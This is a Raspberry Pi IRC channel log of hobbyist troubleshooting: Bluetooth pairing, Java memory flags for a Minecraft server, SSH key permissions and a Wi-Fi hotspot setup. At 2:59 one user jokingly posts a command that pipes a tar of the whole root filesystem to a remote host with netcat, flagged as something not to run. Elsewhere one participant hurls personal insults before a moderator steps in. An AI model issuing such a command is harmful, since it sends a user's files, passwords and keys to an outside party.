#raspberrypi IRC Log


IRC Log for 2019-02-17

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[0:28] <MikeRL> Anyone know how to reset bluetooth on Raspbain Stretch? I cloned an SD card for my second Pi 3B+ and nothing is picked up.
[0:29] * DanielTheFox receives vague flashbacks about dt-overlay in config.txt
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[0:38] <MikeRL> Back. I rebooted after noting down a bunch of BT packages and purging them.
[0:38] <MikeRL> I hope that makes BT work when I reinstall BT.
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[0:39] <MikeRL> I'm also searching as root to find the files. I searched for *blue to find anything bluetooth related.
[0:41] <Habbie> MikeRL, any chance you could get a frash raspbian for that system to see if that does work?
[0:41] <MikeRL> I can try. Let me try this first.
[0:41] <Habbie> sure
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[1:07] <Wafficus> hi there, question regarding running Spigot, a Minecraft server on a Raspberry Pi 3B+, can anyone help me fix this error:
[1:08] <Wafficus> BuildTools requires at least 512M of memory to run (1024M recommended), but has only detected 237M.
[1:08] <Wafficus> This can often occur if you are running a 32-bit system, or one with low RAM.
[1:08] <Wafficus> Please re-run BuildTools with manually specified memory, e.g: java -Xmx1024M -jar BuildTools.jar y
[1:08] <Wafficus> yes
[1:08] <Wafficus> yes
[1:08] <Wafficus> *sorry for the multiple lines
[1:08] <Habbie> did you try that suggestion?
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[1:09] <Wafficus> not sure how to implement in that one terminal command, would it be:
[1:09] <therion23> i would try -Xmx700M since no Pi has 1024 available
[1:09] <Wafficus> sudo java -jar BuildTools.jar -Xmx700M
[1:09] <Wafficus> ?
[1:10] <Habbie> please do not sudo unless you are certain you have to
[1:10] <Wafficus> https://pimylifeup.com/raspberry-pi-minecraft-server/
[1:10] <Wafficus> that's what this guide says
[1:10] <therion23> nono, the whole line as you typed it, just replace 1024 with 700 since you dont have 1024 at your disposal
[1:10] <Wafficus> its not my first time using Linux based commands, since I've been running Lubuntu for over a year now
[1:10] <Wafficus> the thing is I'm pretty new to the Pi
[1:10] <therion23> you have 1024 minus what you set aside for display minus your running system
[1:10] <Wafficus> ah I see
[1:10] <Wafficus> I get your point in that case
[1:11] <therion23> but i believe java defaults to 256 max and that is the issue you might be running into
[1:11] <Wafficus> hmm
[1:11] <Wafficus> there is one workaround in the article to just use a direct mirror instead for that step
[1:11] <therion23> as said, i remember vaguely running into some max memory barrier like that .. give it a try
[1:11] <Wafficus> just wanted to know if I could provide a flag parameter to solve this
[1:12] <Wafficus> I tried: sudo java -jar BuildTools.jar -Xmx700M
[1:12] <Wafficus> no dice
[1:12] <Wafficus> is that the right way to do that command?
[1:13] <therion23> try: java -Xmx700M -jar BuildTools.jar y
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[1:16] <therion23> meanwhile, quick question: any of you know where i can get a micro USB male to male cable? it's for hooking up an ESP32 straight to a Pi Zero in the least chunky way .. was eye'ing the Flotilla cables from Pimoroni but dunno if they would work
[1:17] <Ben64> https://www.adafruit.com/product/3610
[1:18] <therion23> sure they will work for the purpose, Ben64?
[1:20] <Ben64> if that thing works from usb then yes
[1:21] <Wafficus> how do I update my Java?
[1:21] <Wafficus> I think that might be the problem
[1:21] <Wafficus> I tried sudo apt install oracle-java8-installer
[1:21] <Ben64> sudo apt install java
[1:21] <Wafficus> but no dice on the Pi
[1:21] <Wafficus> E: unable to locate package java
[1:22] <Wafficus> java -version:
[1:22] <therion23> Wafficus: check the specs for the server you are trying to run, and then look for openjdk
[1:22] <Wafficus> java version "1.8.0_65"
[1:22] <Wafficus> Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
[1:22] <Wafficus> Java HotSpot(TM) Client VM (build 25.65-b01, mixed mode)
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[1:22] <Ben64> oh
[1:23] <Ben64> you can't run a minecraft server on pi
[1:23] <Wafficus> therion23: not sure what you mean to be honest.
[1:23] <Wafficus> https://pimylifeup.com/raspberry-pi-minecraft-server/
[1:23] <Wafficus> ^
[1:23] <Ben64> nah
[1:23] <Ben64> won't work
[1:24] <Wafficus> why not?
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[1:24] <therion23> and Ben64, yeah, ESP behaves entirely like any Arduino or clone would when it comes to USB communication .. just way more bang for way less bucks
[1:24] <Ben64> pi is too slow
[1:24] <therion23> just connect at 115200 on /dev/ttyUSB0 and you are in
[1:24] <Wafficus> I just want it for literally 2 people
[1:24] <Ben64> too slow
[1:24] <Ben64> minecraft is very bulky
[1:25] <Wafficus> well, can anyone help me update my Java in this case?
[1:25] <Wafficus> I think that might be the issue for this tbh
[1:25] <Ben64> therion23: why not use the pins instead of usb
[1:26] <Ben64> Wafficus: not even the issue. the error you posted above says it needs more ram
[1:26] <therion23> Ben64: already got three phats and a shim on the pins haha
[1:27] <Ben64> cool, i normally skip arduino type things and just use pi's for everything
[1:27] <Wafficus> Ben64: but I have the latest Pi, clearly even better than this 2015 article
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[1:27] <Wafficus> its still possible
[1:27] <Wafficus> just need help to get the wget file location for the latest Java
[1:27] <Ben64> no
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[1:27] <Ben64> it's not an update issue
[1:27] <Ben64> it needs more ram. look at the error dude
[1:27] <Wafficus> its a Java issue that's seen sometimes though
[1:27] <Ben64> you probably have too much allocated to gpu
[1:28] <Wafficus> no I placed it down to 16
[1:28] <therion23> yeah see, i need the ESP to act as coprocessor and also get a few more pins
[1:29] <therion23> and no, the lack of memory is not the (primary) issue at hand here .. the issue is Java allocates 64MB as heap memory per default, and that applet requires 512, so you gotta twist Java's arms into allocating more
[1:30] <Ben64> therion23: how do you program it
[1:30] <therion23> might of course still run out of memory, i dunno how it behaves
[1:30] <Wafficus> so guys
[1:30] <Wafficus> I followed the last comment in this GitHub post
[1:30] <Wafficus> https://gist.github.com/hgomez/9650687
[1:30] <Wafficus> I got the wget successfully
[1:30] <Wafficus> what do I do
[1:30] <Wafficus> I have a jdk1.8.0_201 directory present with files
[1:30] <Wafficus> is there a 'build' command like CMake or something when you're inside of this directory for Java?
[1:31] <jm2__> clear
[1:31] <therion23> Ben64: undecided between Lua and Micropython .. when it ships, it's like an overadvanced Arduino controlled by the good old modem AT command set (believe it or not)
[1:31] <Ben64> i have a big project i'm using pi for currently, but i'm worried about reliability kinda
[1:31] <Ben64> but it's too complicated for arduino
[1:31] <therion23> but you can get Lua, Python and Basic for it, plus you can reprogram it to work under the Arduino IDE
[1:33] <Ben64> pi zero still $5 though... really hard to beat
[1:33] <indomitable> never seen it at that price anywhere
[1:33] <indomitable> lol
[1:33] <indomitable> plus you never count the powe rsupply etc...
[1:33] <Ben64> i get all mine for $5
[1:33] <indomitable> how
[1:33] <indomitable> from where
[1:33] <Ben64> micro center
[1:33] <therion23> Zero W is 9 UKP plus shipping for me
[1:34] <indomitable> do they deliver online?
[1:34] <Ben64> maybe
[1:34] <indomitable> therion23, it's like 50% more than that for me
[1:34] <indomitable> lol
[1:34] <therion23> indomitable: yeah just wait for Brexit, then i have to pay the same as you ..
[1:34] <Ben64> and they're gonna be on sale for $3.14 soon
[1:35] <indomitable> therion23, excellent, my pain will be shared :>
[1:35] <therion23> yeah the original Zero is getting dumped .. now, the ESP32 has both wifi and bluetootn
[1:35] <indomitable> Ben64 lives in china or something
[1:35] <indomitable> only way this is making sense
[1:35] <Ben64> usa
[1:35] <therion23> no it is true, the non W Zero is real cheap
[1:35] <Ben64> it's W
[1:36] <Ben64> https://www.microcenter.com/product/486498/zero-v13-development-board---camera-ready
[1:36] <therion23> oh my .. that is a bargain
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[1:36] <Ben64> that's why i have so many
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[1:36] <therion23> er? looks like a non W
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[1:37] <indomitable> "in store only2
[1:37] <indomitable> ):
[1:39] <Ben64> just gotta live close enough to a micro center
[1:39] <Ben64> or know someone who does
[1:40] <therion23> the Zero W has a black 4R7 near the camera connector, that one is definitely a non W, which is indeed the original £5 Pi without wifi and bt
[1:40] <Ben64> yeah i linked the wrong one https://www.microcenter.com/product/486575/raspberry-pi-zero-w
[1:40] <Ben64> still $5
[1:41] <therion23> okay back to envy .. half off?!
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[1:41] <Ben64> they're so good
[1:42] <Ben64> microsd card, power, done
[1:43] <Ben64> can power them from a regulator easily, so don't need micro usb for that
[1:43] <therion23> got an 8A USB power supply which regulates between its five ports, it's got all the juice it will ever need
[1:44] <Ben64> i'm stepping it down from 12-15v
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[1:47] <therion23> the cool thing about the ESP32 is also its low power consumption .. of course, it's a device you need to give a special purpose, not like a Pi you can use for ten things at the same time
[1:47] <therion23> and as said i'm out of pins :)
[1:49] <friendofafriend> I was using some ESP32 and ESP8266s to collect readings and feed into Atmospi running on a Zero W, very pleased with the setup.
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[1:53] <therion23> great, how did you hook them up? wifi or cabled?
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[1:58] <friendofafriend> therion23: Wifi, just had the whole system connect back to an OpenWRT router. It was for monitoring an indoor vegetable garden. Radishes. :)
[1:59] <friendofafriend> Started with the DHT11s, but they only are accurate up to 80% relative humidity, moved to the DHT22/AM2302s.
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[2:03] <therion23> i know what you mean about the DHT11, i got a .. was it the DS18B20? bit slow, but one wire and tons more accurate
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[2:04] <therion23> the DHT11 is about as accurate as sticking your finger out the window - good for learning sensors, but for everyday use, nah ..
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[2:20] <friendofafriend> therion23: Absolutely! I got the DHT11 with a cheap sensor kit, and the code I was using barely changed. That Bosch BME260 would have been my choice, if I did it all over.
[2:21] <friendofafriend> Perfect cheap learning tool, education for the price of a sodapop.
[2:23] <therion23> oh i have one of those Bosch ones (260? 280? forget now), but by then i had tried four different sensors and someone gave me a 3 Euro weather station from IKEA going ooh this looks better on your shelf
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[2:27] <therion23> and yeah i got my DHT11 in one of those "40-in-1 sensors" kits - probably from China haha - back when i started putting things together with microcontrollers
[2:28] <friendofafriend> therion23: Can you read from the IKEA station with a RTL-SDR?
[2:30] <therion23> hahaha, it's so ugly i haven't had the heart to do it further damage by opening it up :)
[2:30] <therion23> (gift from an ex, let's skip the subject)
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[2:31] <friendofafriend> For US FCC certified devices, we're lucky to often have internal shots with the certification filings.
[2:31] <therion23> has a nice multicoloured display i might want to dig out the day i get tired of it, but no idea what i would use it for
[2:31] <friendofafriend> (Not that they're high res enough to read the chip markings, but they're usually pretty good.)
[2:32] <friendofafriend> And you might find you can read the device's wireless communications with rtl_433 or something.
[2:32] <therion23> it's this square thing that changes between clock, alarm, weather station and .. something fourth, depending on which side it stands
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[2:33] <therion23> oh yeah, stopwatch .. why on earth would anybody want a stopwatch on a bedroom clock
[2:33] <therion23> wait, don't answer that
[2:33] <friendofafriend> Hey, I'm working on my endurance.
[2:33] <indomitable> therion23, to find out how long they slept!
[2:34] <indomitable> or how long they've read
[2:34] <indomitable> or to practice holding their breath
[2:34] <indomitable> timing an exercise session
[2:34] <indomitable> ...practicing rounds of mental arithmetic or various other problems!
[2:34] <therion23> might want to loot the gyroscope inside, it's quite responsive
[2:34] <immibis> "depending on which side it stands" - LOL
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[2:34] <immibis> so you have to physically rotate it to change modes?
[2:35] <therion23> yes, immibis, no kidding
[2:35] <immibis> sounds like one of those things that sounds like a cool idea, but is actually just silly
[2:35] <therion23> it was three Euro at IKEA and not my three Euro
[2:36] <DanielTheFox> :3
[2:36] <therion23> most ridiculous thing is if it's not turned the alarm side up, the alarm won't go off
[2:36] <immibis> LOL
[2:37] <therion23> how is THAT for design
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[2:44] <faLUCE> hello. Is there a web based filed editor for raspberry? I tried some, but they all have a docker image not good for arm
[2:44] <ghostboarder> hey guys, i am trying to clone a github repo from an rpi3. I have copied my public key for git over from my workstation and put it in /home/pi/.ssh. I am still getting denied access to github
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[2:45] <ghostboarder> Permissions 0644 for '/home/pi/.ssh/id_rsa' are too open.
[2:45] <ghostboarder> It is required that your private key files are NOT accessible by others.
[2:45] <immibis> so did you fix the permissions?
[2:45] <immibis> it should be 0600
[2:45] <DanielTheFox> ghostboarder--
[2:45] <MikeRL> Back after a long reinstall and partial reconfig
[2:45] <DanielTheFox> yes
[2:45] <DanielTheFox> 600
[2:46] <ghostboarder> on the dir i assume? or just the keys
[2:46] <larsks> ghostboarder: you copied your *public* key or your *private* key?
[2:46] <MikeRL> Bluetooth still doesn't pick up my headset, nor my 8bitdo SN30 controller.
[2:46] <immibis> copying private keys is bad practice by the way. what you should do is generate a new one and have two keys on github
[2:46] <DanielTheFox> chmod /home/pi/.ssh/id_rsa 0600
[2:46] <ghostboarder> larsks, actually both
[2:46] <larsks> Ah, good.
[2:46] <immibis> DanielTheFox: wrong way around. chmod 0600 /home/pi/.ssh/id_rsa
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[2:47] <MikeRL> I don't recall how I got the controller to work on the other Pi 3. But it involved a ton of trial and error.
[2:47] <ghostboarder> immibis, yeah i guess its not "best practice" but i wont be uploading anything to git anytime soon, just cloning
[2:47] <MikeRL> Controller firmware is updated to 4.10. Raspbian is updated. Controller is needed most because I run RetroPie on both devices.
[2:48] <indomitable> immibis, copying private keys is fine... password protecting them is recommended :P
[2:48] <ghostboarder> hmm i get invalid mode DanielTheFox
[2:48] <ghostboarder> brbr
[2:48] <therion23> immibis: "bad practice" is case by case .. if there is no way your machines with that key can be reached from "the outside world" it is terribly convenient
[2:48] <immibis> ghostboarder: 0600 should be before the filename not after
[2:48] <immibis> therion23: if your machine is stolen you have to create a new key for all your other machines
[2:48] <immibis> instead of just removing access for the machine that was stolen
[2:49] <therion23> that is very true .. but in my case, if someone ever got in here, they would probably loot all or nothing
[2:49] * DanielTheFox doesn't consider good practice (for advanced usage) to keep the default pi account
[2:49] <therion23> and the data worth stealing here ain't here anyway :)
[2:49] <DanielTheFox> tolerable for standard newbie, yes
[2:50] <therion23> keeping the default pi account is fine up till you plug a network cable in
[2:50] <therion23> then, it's a good idea to read a little bit about user accounts
[2:51] <DanielTheFox> and, more notably, how to force lightdm to ask for username instead of defaulting to pi
[2:51] <therion23> but if you just want to do electronics and robotics, and not online at all, the pi account is fine
[2:52] <therion23> but this is 2019, and the pi should be a powerful tool to teach people more about data security as well
[2:52] <DanielTheFox> and how is 2019 different from 1989?
[2:53] <indomitable> DanielTheFox, well it's 30 years bigger.
[2:53] <DanielTheFox> data security should have been there since then, or before
[2:53] <therion23> is that a trick question or plain rhetoric?
[2:53] <indomitable> therion23, I think he's talking gibberish
[2:53] <indomitable> the pi account tells you specifically to change password when you enable ssh
[2:53] <DanielTheFox> true
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[2:54] <DanielTheFox> although it drives me nuts how people take the current year as excuse, there should be an actual reason behind everything (if possible)
[2:54] <therion23> xmas 1989 i celebrated my first year on the Internet and noone raised an eyebrow about security then
[2:54] <DanielTheFox> otherwise, alright
[2:54] <DanielTheFox> security is a priority
[2:54] <therion23> "first we make it, then we fudge it as it comes"
[2:55] <therion23> noone cared, we just wanted to get connected
[2:55] <DanielTheFox> then some dummy decided we could sell and buy stuff through inet
[2:56] <DanielTheFox> then robbers started caring about stealing information such as credit cards and passwords
[2:56] <therion23> where there is money, there are thieves
[2:56] <DanielTheFox> and, uhh
[2:56] <DanielTheFox> yes
[2:56] <therion23> it has been like that since the dawn of time
[2:56] <DanielTheFox> best solution would have been not using internet sites at all for buying or selling stuff
[2:57] <immibis> people should just not buy or sell stuff. or own stuff. without private property there would be no thieves. communism for all
[2:57] <DanielTheFox> but general expectance is to sit down and let our fat flesh lay down while buying doritos or a new RPi
[2:57] <therion23> nah .. take what we know now, go 40 years back, and just sit and watch how THAT evolves over 40 years
[2:57] <DanielTheFox> aaand we can't do anything when sheep massively inhabits our planet
[2:58] <ghostboarder> immibis, lol yeah i just copied without thinking cause it looked right lol
[2:58] <DanielTheFox> uhh
[2:58] <DanielTheFox> I should have told him commands to disclose his bank account or SSH password instead?
[2:58] <therion23> imagine if we could do a photo book present day, 200 pages, titled "do not click that"
[2:58] <therion23> go 30 years back in time and publish it for free
[2:59] <ghostboarder> come on guys, not stupid
[2:59] <ghostboarder> :P
[2:59] <ghostboarder> the command looked right
[2:59] <immibis> you have to run: sudo tar cv / | nc immibis.com 1234 <- (don't actually run that, but if you do it won't do anything since I'm not listening on port 1234)
[2:59] <DanielTheFox> I mean, my general belief is that one has to be deliberately dumb enough to disclose password in Linux
[2:59] <ghostboarder> hahah yeah
[2:59] <immibis> (also that should really be cvJ to not waste bandwidth)
[3:00] <ghostboarder> zip my entire pi install and send it to you eh?
[3:00] <DanielTheFox> but there's proof that it's not necessary, and somehow security issues come
[3:00] <immibis> ghostboarder: including all your saved passwords and private keys, which is why you shouldn't do it
[3:00] <therion23> grin!
[3:00] <DanielTheFox> they're private for some reason
[3:01] <ghostboarder> lol
[3:01] <therion23> onyl remotely cool stuff i have on any Pi here is a bit of code to drive an inky from an mpd server
[3:01] <therion23> and a public key of course, you can have that!
[3:03] * DanielTheFox can only blame the first one who decided we could make money through internet
[3:03] <ghostboarder> if anyone is interested, im setting up Barrier , similar to Synergy. Mouse and keyboard from monitor to monitor, change focus
[3:04] <therion23> we could blame Barbara Streisand .. after all, little known fact but true, she funded the majority of eBay
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[3:05] <therion23> but let's not go there .. i don't know her apart from her music, so give me a mute button and we could be best friends
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[3:05] <DanielTheFox> we wouldn't be so paranoid about internet security otherwise
[3:05] <MikeRL> Crazy. I don't get it. My phone sees the controller. Why not the Pi?
[3:06] <DanielTheFox> therion23: sometimes I'd like to sit down and relax, and eat some pie
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[3:06] <DanielTheFox> unfortunately, I don't have a pie, and not enough $$$ for a pie, nor know anybody who can make one for me
[3:07] <DanielTheFox> besides, I'm already sitting down in front of my computer, talking garbage alone
[3:07] <therion23> MikeRL: an 8bitdo you say? i only have a Zero but it's not happy being paired more than once at a time
[3:07] <therion23> think its called Zero, that two-thumbs-wide one
[3:07] <MikeRL> The other device is off.
[3:08] <MikeRL> Does that matter?
[3:08] <MikeRL> The other Pi, that is.
[3:09] <therion23> i have no idea .. just remember i had that one paired with my Mac to test it out to begin with, then wanted to use it with Android, and it gave me a load of (expletive deleted) until i unpaired it from the Mac
[3:09] <therion23> then DING it paired
[3:09] <MikeRL> Crazy.
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[3:10] <therion23> hey i don't like when two people yell at me at the same time either, so it sorta makes sense :)
[3:10] <therion23> you have of course paired it in bluetoothctl and trusted it?
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[3:13] <MikeRL> It won't even appear when I( scan for it.
[3:13] <MikeRL> I pressed start for one second, then select for three secs.
[3:14] <therion23> oh ouch .. i had that issue a few times and never figured it out
[3:14] <MikeRL> It recently paired with my Android phone.
[3:14] <MikeRL> I just unpaired it.
[3:14] <therion23> "you are on the same desk, come on, get a room already!"
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[3:14] <MikeRL> But it pairs with my other Pi.
[3:15] <MikeRL> How'd the issue resolve itself?
[3:15] <therion23> and your version of the bluetooth stack is on -testing? cos less than a year ago, bluez was a complete mess
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[3:16] <MikeRL> I don't know. I can check what version I'm on.
[3:17] <MikeRL> 5.43
[3:17] <therion23> there was a time when bluez reported all Pi 3 and Pi Zero hardware addresses as 00:00:so on
[3:18] <MikeRL> Is that a bugged version?
[3:19] <therion23> cannot say, i locked mine at 5.12 because of that flaw, and just recently (within last month or two) gave it another shot, at 5.50 it works
[3:19] <therion23> but as said, it is an 8bitdo Zero - but if we are lucky it's the same BT circuit inside
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[3:25] <MikeRL> How'd you get 5.50?
[3:25] <MikeRL> Do you have a link?
[3:25] <MikeRL> Or a line I can add to /etc/apt/sources.list?
[3:28] <MikeRL> NVM grabbed it online.
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[3:34] <therion23> deb http://archive.raspbian.org/raspbian/ stable main contrib non-free rpi
[3:34] <therion23> deb http://archive.raspbian.org/raspbian/ testing main contrib non-free rpi
[3:34] <therion23> basically that
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[3:35] <therion23> some things break now and then but for my uses it is like once or twice a year, and i would really rather have current builds
[3:36] <therion23> so what if something breaks, you only learn by fixing it :)
[3:36] <therion23> so caveat emptor!
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[3:41] <therion23> anyway, better retire, thanks for the ideas and talk, be safe!
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[3:43] <MrPockets> Hey guys!
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[4:14] <MikeRL> Back again. Can't figure out why it connects to one Pi but not the other.
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[4:15] <Wafficus> can anyone help me troubleshoot why Filezilla on my windows machine isn't connecting to my Raspberry pi?
[4:15] <MikeRL> I even tried disconnecting it from the other one and repairing it to the new Pi.
[4:15] <Wafficus> I've tried using the pi's ip, and then pi as the username, and then the pi's actual pw I made
[4:15] <Wafficus> no dice, even with sftp on Filezilla
[4:17] <d0rm0us3> perhaps there's not ftpd running on the pi?
[4:17] <d0rm0us3> s/not/no
[4:18] <larsks> d0rm0us3: sftp runs over ssh, not ftpd.
[4:18] <larsks> Wafficus: are you able to connect without using filezilla? E.g., with straight ssh?
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[5:04] <Phin2> morning
[5:05] <Phin2> is there a lightweight UART-FEC lib or something that can run both on Pi (python probably) and Arduino?
[5:06] <Phin2> I got 15m of cable for UART and I get sometimes wrong bytes at the end
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[5:17] <magic_ninja> does raspian have the serial console enabled by default?
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[5:24] <larsks> magic_ninja: pretty sure it does, although the pi next to me right now is running arch so I can't check immediately.
[5:26] <magic_ninja> Grr. I'll have to make a cable and connect. My house lost power and it isn't happy. I'm not seeing the LCD turn on either.
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[5:33] <magic_ninja> btw, arch has serial console enabled by default
[5:34] <Phin2> magic_ninja: is has.... had to turn it off...
[5:35] <Phin2> magic_ninja: not even the rainbow-pic?
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[5:44] <larsks> magic_ninja: right, it does, but I didn't think that answer would help you at all :)
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[13:06] <maccraft123> ok so basically
[13:06] <maccraft123> postmarketos isnt working
[13:07] <maccraft123> plasma mobile - not booting, no green led flashing
[13:07] <maccraft123> hildon ui - black screen
[13:08] <faLUCE> Hello. I use avahi on my raspberrypi, and I have two network interfaces. Is it possible to set a hostname for interface1 and another one for interface2 ?
[13:08] <maccraft123> no
[13:08] <faLUCE> maccraft123: why not?
[13:08] <maccraft123> faLUCE: hostname is system-wide
[13:09] <maccraft123> not interface-wide
[13:10] <faLUCE> maccraft123: I see
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[13:12] <faLUCE> In addition: is it possible to use the same network interface of raspberry pi3B+ both as hotpsot and client?
[13:12] <faLUCE> (hotspot)
[13:13] <maccraft123> faLUCE: no
[13:13] <maccraft123> either hotspot or client
[13:14] <faLUCE> I see
[13:15] <faLUCE> I have a network of IOT devices that I have to control with raspberry. Is it a good idea, instead of adding certificates/ssl etc. on each of these devices, to make for them a private network with a hotspot on the raspberry?
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[13:28] <indomitable> I can't believe faLUCE gets paid to do IT
[13:28] <indomitable> all his knowledge is the knowledge of people he asks on irc
[13:28] <indomitable> lol
[13:28] <indomitable> has no concept of basic networking despite obviously getting paid to do networking...
[13:29] <maccraft123> lol
[13:29] <faLUCE> hello indomitable, you know? I found a good web based file editor / console for raspberry. I think it's the only one with easy install ;-)
[13:29] <faLUCE> but I won't give you the name
[13:30] <faLUCE> ;-)
[13:30] <indomitable> faLUCE, that's ok, I know you're making it up because it doesn't exist
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[13:30] <indomitable> plus you're too dumb to tie your own shoelaces, let alone find / build a solution like that :)
[13:30] <indomitable> I am sure you will create much value for consultants in that they have to fix all your shoddy, stolen work
[13:31] <indomitable> maybe they'll even hire you to work for a company off the books, kind of like an exterminator sending in rats and cockroaches into a home and then posting advertisements near the house for extermination :D
[13:32] <faLUCE> indomitable: you are funny. So angry and sad that you become funny ;-). Ok let's do my things now. bye
[13:33] <indomitable> let me know the name of the company you work for, I'll get a commission for referring someone to fix your mess :)
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[13:54] <gordonDrogon> let me remind people to be nice here.
[13:55] <gordonDrogon> really, indomitable stop being a jerk.
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[13:56] <H__> indeed
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[14:01] <H__> does anyone here have experience with the weatherproofness of the AM2315 ? Does it still give reliable humidity readings when it has dried up after serious rain ? (the DHT22 is not reliable anymore after it has become completely wet once)
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[14:54] <DanielTheFox> faLUCE: actually, yes, you can be client and access point at the same time
[14:54] <DanielTheFox> with three caveats
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[14:55] <DanielTheFox> 1. You must create a new interface with iw command, as "__ap" (I don't remember the details, but I've done it before)
[14:55] <DanielTheFox> 2. Your hotspot must be the same channel as the access point you want to be client of
[14:55] <DanielTheFox> 3. Bridge is NOT doable with proper results-- you'll have to NAT between the client and hotspot sides
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[14:56] <DanielTheFox> it's fairly complicated, so we better say it's just not possible :)
[14:56] <DanielTheFox> but if you're resilient enough, it is
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[15:16] <faLUCE> DanielTheFox: thanks, I'm not interested in bridging. I only need to set the interface as AP for a private VLAN
[15:18] <DanielTheFox> thankfully this is my most common usecase (except it's only an AP, not a client, and it has no internet access, just a small portable WiFi access point)
[15:18] <faLUCE> DanielTheFox: do you know if I can use https://github.com/billz/raspap-webgui for the same interface?
[15:18] <DanielTheFox> I'm not experienced enough with that. :)
[15:19] <faLUCE> DanielTheFox: but, with iw can I create the AP with one command or do I have to edit conf files?
[15:19] <DanielTheFox> one command
[15:19] <DanielTheFox> of course, with root permissions
[15:19] <faLUCE> what could I google? "iw create ap raspberry" ?
[15:20] <DanielTheFox> iw dev wlan0 interface add ap0 type __ap
[15:20] <DanielTheFox> correct me if wrong
[15:20] <DanielTheFox> change ap0 to whatever interface name you want it to be
[15:20] <faLUCE> DanielTheFox: if it works you are a wizard
[15:20] <faLUCE> I remember that it did not work with usb network dongles
[15:21] <DanielTheFox> not all radios can do this
[15:21] <DanielTheFox> ah, and you must do that... with the main interface DOWN
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[15:21] <DanielTheFox> the WiFi in the Pi must be off before doing so
[15:21] <DanielTheFox> this can be enforced with ip link set wlan0 down
[15:21] <faLUCE> DanielTheFox: can I do that with wifi UP and then reboot ?
[15:22] <DanielTheFox> I... don't know
[15:22] <DanielTheFox> I have only tried proof-of-concept on bare commandline
[15:22] <DanielTheFox> it should somewhat work with ifupdown too, if you know what you're doing
[15:22] <faLUCE> DanielTheFox: so the trick is that the embedded interface in the new model of raspberry support Ap+Client mode?
[15:22] <DanielTheFox> yes
[15:23] <faLUCE> that's great, let's try
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[15:23] <DanielTheFox> again, it lacks some fancy feature called "wds" so it can't bridge, but it can still NAT between both :)
[15:23] <faLUCE> but I need it only for a VLN
[15:23] <faLUCE> VLAN
[15:23] <DanielTheFox> yes
[15:23] <faLUCE> the VLAN devs don't have to access internet
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[15:23] <DanielTheFox> ok
[15:24] <DanielTheFox> so you don't even need to route
[15:24] <faLUCE> exactly
[15:24] <DanielTheFox> that's fine
[15:24] <faLUCE> I only need to make a private LAN
[15:24] <DanielTheFox> yup
[15:24] <faLUCE> (IOT(
[15:24] <DanielTheFox> and, well
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[15:24] <DanielTheFox> hopefully you have a DHCP server
[15:24] <DanielTheFox> listening on the new interface
[15:25] <DanielTheFox> which, btw, has to be created each boot
[15:25] <faLUCE> DanielTheFox: I thought that it was automatic
[15:25] <faLUCE> after the iw command
[15:25] <DanielTheFox> unfortunately, nope
[15:25] <faLUCE> ok, let's see if I can create the AP firstly
[15:25] <DanielTheFox> yeah, you must create it each time
[15:26] <DanielTheFox> and you must still know what channel the other AP is
[15:26] <DanielTheFox> as Pi client and ap must be same channel
[15:26] <faLUCE> where do I have to set the channel?
[15:26] <DanielTheFox> do you use hostapd?
[15:27] <faLUCE> I don't know what raspbian uses
[15:27] <DanielTheFox> ...?
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[15:27] <DanielTheFox> faLUCE: I mean, for the access point
[15:27] <DanielTheFox> the Pi's VLAN
[15:28] <faLUCE> I did not install any sw for configuring an accesso point
[15:28] <DanielTheFox> (I'm only experienced with hostapd)
[15:28] <faLUCE> so I have to install hotapd firstly
[15:28] <DanielTheFox> yes
[15:28] <faLUCE> then iw
[15:28] <DanielTheFox> and edit /etc/default/hostapd to tell it which config file you're gonna use
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[15:29] <DanielTheFox> then use the config file you told it to use
[15:29] <DanielTheFox> I use /etc/hostapd/hostapd.conf
[15:29] <faLUCE> at this point I can try https://github.com/billz/raspap-webgui and see if I can use the same iface for client and AP
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[15:29] <DanielTheFox> give it a try if you want to
[15:29] <faLUCE> yes
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[16:32] <robertj> hey all. Any recommendations on a good case that can be screwed close and has some way to mount it with screws?
[16:33] <stiv> hot glue for the win!
[16:33] * DanielTheFox prefers super glue
[16:33] <robertj> stiv, i've been known to gaffing tape some SSDs :P
[16:34] <robertj> stiv, those cheap machines all seem to have some weirdo semi-proprietary mounting bracket for 3.5" hd's
[16:34] <stiv> gaffers tape is good stuff!
[16:34] <robertj> stiv, I bought $100 worth in bulk from Amazon and have lived like a king for a decade
[16:36] <stiv> genius!
[16:37] <robertj> looking forward to rolling out some pies and giving my provisioning getup a good run for its money
[16:37] <robertj> gonna be using them as scan controllers to drive sheet-fed scanners that talk to ipdas
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[16:37] <stiv> a interesting application
[16:39] <randombuilds> Hey Everyone, I was hoping someone can help me. I've just installed the Picam V2 module but when I try to take a picture raspistill it saves the jpg but it's just a bunch of grey lines. Similar to noise on an old analogue TV that doesn't have a signal - Anyone any ideas on what the issue could be?
[16:39] <Fulgen> randombuilds: check the cable
[16:39] <robertj> I should just leave the board bare, will make it look more professional
[16:39] <robertj> like the elevator guys
[16:39] <robertj> 'dont go in here, it will kill you'
[16:39] <Fulgen> robertj: hf with dust =P
[16:42] <robertj> hrmm, maybe velcro
[16:44] <robertj> https://www.amazon.com/BUD-Industries-JBH-4956-KO-Knockout-Hinged/dp/B005UP9YYI/ref=sr_1_2?keywords=sheet+metal+box&qid=1550418255&s=gateway&sr=8-2
[16:44] <robertj> there we go
[16:44] <robertj> that looks like something expensive belongs in there
[16:49] <randombuilds> Fulgen: Thanks, i've checked the cable and it looks fine. Can't push it in any further.
[16:49] <randombuilds> This is what the saved jpg image looks like https://imgur.com/dku49Ob
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[16:50] <Fulgen> huh
[16:51] <Fulgen> well, I'm afraid I don't have much more helpful to say :/
[16:51] <Fulgen> does it work with raspivid?
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[16:53] <randombuilds> just checking now
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[16:56] <randombuilds> nah it's just the same grey screen but this time it's flickering around
[16:57] <magic_ninja> robertj, can you give us a clue as to environment?
[16:57] <magic_ninja> Also, expected life span of system / other contents of cabinet, etc
[16:57] <robertj> magic_ninja, sure!
[16:58] <magic_ninja> that 6 x 8 x 4 would be pretty tight, depending on what all you have going on.
[16:59] <robertj> magic_ninja, really? i thoguht it was ample. It's going in an office and will either be undermounted on a desk or put inside a cabinet
[16:59] <magic_ninja> Okay, so you don't want a box that size under a desk, really if it can be avoided.
[16:59] <robertj> it's a standing kiosk
[17:00] <robertj> so if it's behind a privacy skirt it's a non-issue
[17:00] <magic_ninja> robertj, well, imagine that you had the device, a power supply, a row of terminals to field devices, etc. It would be pretty small.
[17:00] <magic_ninja> Hard to work in because of the edges, etc.
[17:01] <magic_ninja> So, how about a box with a sub panel and you can mount the PI with standoffs?
